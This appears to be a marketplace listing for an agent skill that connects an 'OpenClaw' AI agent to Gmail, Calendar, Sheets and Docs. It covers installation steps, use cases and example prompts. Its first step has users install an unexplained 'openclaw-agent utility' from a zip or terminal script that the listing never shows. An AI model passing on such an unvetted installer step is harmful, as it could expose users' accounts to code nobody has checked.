google-workspace

What This Skill Does

The google-workspace skill acts as a comprehensive bridge between the OpenClaw AI agent and your Google ecosystem. By integrating Gmail, Calendar, Contacts, Sheets, and Docs, this skill allows users to automate complex administrative workflows directly from their terminal or AI interface. It leverages the official Google APIs to perform granular tasks such as reading emails, managing calendar event scheduling, updating shared spreadsheets, and generating document drafts. This skill essentially turns your workspace into an actionable interface, reducing manual overhead for daily tasks.

Installation

1. Ensure you have the openclaw-agent utility installed for your OS (Windows users require the provided zip; macOS users should follow the terminal script provided in the documentation).
2. Run the installation command: clawhub install openclaw/skills/skills/hightower6eu/google-workspace-m2hcx.
3. Install Python dependencies: pip install google-api-python-client google-auth-httplib2 google-auth-oauthlib.
4. Create your Google Cloud project via the Google Cloud Console, enable the required APIs (Gmail, Calendar, Sheets, Docs, People), and generate your OAuth 2.0 credentials JSON file.
5. Initialize the google_auth.py helper provided in the official documentation to handle the OAuth handshake and token management.

Use Cases

• Automated Communication: Automatically summarize incoming support emails from Gmail and draft responses.
• Meeting Coordination: Sync daily task lists from Sheets to Calendar as event blocks.
• Data Processing: Extract project status updates from emails and update a master tracker spreadsheet automatically.
• Content Generation: Use AI prompts to create structured Google Docs documents based on research data found in your drive.

Example Prompts

1. "Check my Gmail for any unread emails from 'Finance' and summarize the key action items for me."
2. "Look at my Google Calendar for today and shift all my 10 AM meetings to 2 PM, then email the attendees notifying them of the change."
3. "Take the row contents from my 'Q3 Sales' spreadsheet and format them into a professional Google Doc summary."

Tips & Limitations

• Token Security: Always protect your token.pickle and credentials.json files as they grant broad access to your personal data.
• Google Limits: Be mindful of Google's API quota limits (Request Per Day), especially when performing bulk read/write operations.
• Permissions: This skill requires high-level OAuth scopes. Only grant these permissions to trusted environments where you control the code execution.